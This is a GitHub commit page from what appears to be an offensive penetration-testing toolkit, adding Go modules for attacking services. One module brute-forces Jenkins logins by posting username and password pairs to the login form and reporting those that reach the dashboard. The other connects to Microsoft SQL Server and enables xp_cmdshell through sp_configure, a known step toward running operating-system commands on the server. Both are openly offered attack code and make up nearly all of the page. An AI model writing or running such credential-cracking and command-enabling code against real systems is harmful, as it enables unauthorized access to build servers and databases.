-
Notifications
You must be signed in to change notification settings - Fork 66
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add crack jenkins plugin
- Loading branch information
Showing
7 changed files
with
155 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
package crack | ||
|
||
import ( | ||
"bufio" | ||
"cube/model" | ||
"fmt" | ||
"net/http" | ||
"net/http/cookiejar" | ||
"net/url" | ||
"regexp" | ||
"strings" | ||
) | ||
|
||
func JenkinsCrack(task model.CrackTask) (result model.CrackTaskResult) { | ||
result = model.CrackTaskResult{CrackTask: task, Result: "", Err: nil} | ||
|
||
clt := http.Client{} | ||
req, _ := http.NewRequest("GET", task.Ip+"/login", nil) | ||
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") | ||
req.Header.Add("Connection", "close") | ||
req.Header.Add("Accept-Language", "zh-CN,zh;q=0.9") | ||
req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8") | ||
resp, err := clt.Do(req) | ||
if err != nil { | ||
panic(err) | ||
} | ||
|
||
data := make([]byte, 20250) | ||
c := bufio.NewReader(resp.Body) | ||
c.Read(data) | ||
resp.Body.Close() | ||
//content, _ := ioutil.ReadAll(resp.Body) | ||
|
||
r := regexp.MustCompile(`(?U)action="(.*)"`) | ||
match := r.FindStringSubmatch(string(data)) | ||
if match == nil { | ||
return | ||
} | ||
postUri := strings.TrimSpace(match[1]) | ||
//fmt.Println(postUri) | ||
|
||
//clt2 := http.Client{ | ||
// CheckRedirect: func(req *http.Request, via []*http.Request) error { | ||
// return http.ErrUseLastResponse | ||
// }, | ||
//} | ||
|
||
jar, _ := cookiejar.New(nil) | ||
host, _ := url.Parse(task.Ip) | ||
jar.SetCookies(host, resp.Cookies()) | ||
clt2 := http.Client{ | ||
Jar: jar, | ||
} | ||
urlValues := url.Values{} | ||
urlValues.Add("j_username", task.Auth.User) | ||
urlValues.Add("j_password", task.Auth.Password) | ||
body := strings.NewReader(urlValues.Encode()) | ||
req2, _ := http.NewRequest("POST", task.Ip+"/"+postUri, body) | ||
req2.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") | ||
req2.Header.Add("Connection", "close") | ||
req2.Header.Add("Accept-Charset", "utf-8") | ||
req2.Header.Set("Content-Type", "application/x-www-form-urlencoded") | ||
|
||
r2, err := clt2.Do(req2) | ||
if err != nil { | ||
panic(err) | ||
} | ||
defer r2.Body.Close() | ||
data2 := make([]byte, 10480) | ||
c2 := bufio.NewReader(r2.Body) | ||
c2.Read(data2) | ||
//fmt.Println(string(data2)) | ||
//fmt.Print(r2.Header["Set-Cookie"]) | ||
if strings.Contains(string(data2), "Dashboard") { | ||
result.Result = fmt.Sprintf("User: %s \t Password: %s", task.Auth.User, task.Auth.Password) | ||
} | ||
return result | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
package sqlcmd | ||
|
||
import ( | ||
"cube/log" | ||
"cube/model" | ||
"database/sql" | ||
"fmt" | ||
_ "github.com/denisenkom/go-mssqldb" | ||
) | ||
|
||
func Mssql1Cmd(task model.SqlcmdTask) (result model.SqlcmdTaskResult) { | ||
result = model.SqlcmdTaskResult{SqlcmdTask: task, Result: "", Err: nil} | ||
|
||
dataSourceName := fmt.Sprintf("server=%v;port=%v;user id=%v;password=%v;database=%v", task.Ip, | ||
task.Port, task.User, task.Password, "tempdb") | ||
db, err := sql.Open("mssql", dataSourceName) | ||
defer db.Close() | ||
if err != nil { | ||
log.Errorf("Open connection failed:", err.Error()) | ||
} | ||
return result | ||
} | ||
|
||
func Open(conn sql.DB) { | ||
value, err := conn.Prepare("select value_in_use from sys.configurations where name = 'xp_cmdshell'") | ||
if err != nil { | ||
log.Errorf("Prepare failed:", err.Error()) | ||
} | ||
defer value.Close() | ||
|
||
row := value.QueryRow() | ||
//var somenumber int64 | ||
var v int | ||
err = row.Scan(&v) | ||
if err != nil { | ||
log.Errorf("Query failed:", err.Error()) | ||
} | ||
if v == 1 { | ||
fmt.Printf("xp_cmdshell Enabled\n") | ||
|
||
} else { | ||
fmt.Printf("Open xp_cmdshell...\n") | ||
stmt, err := conn.Prepare("EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;") | ||
if err != nil { | ||
//fmt.Println("Query Error", err) | ||
return | ||
} | ||
|
||
defer stmt.Close() | ||
stmt.Query() | ||
|
||
} | ||
return | ||
|
||
} |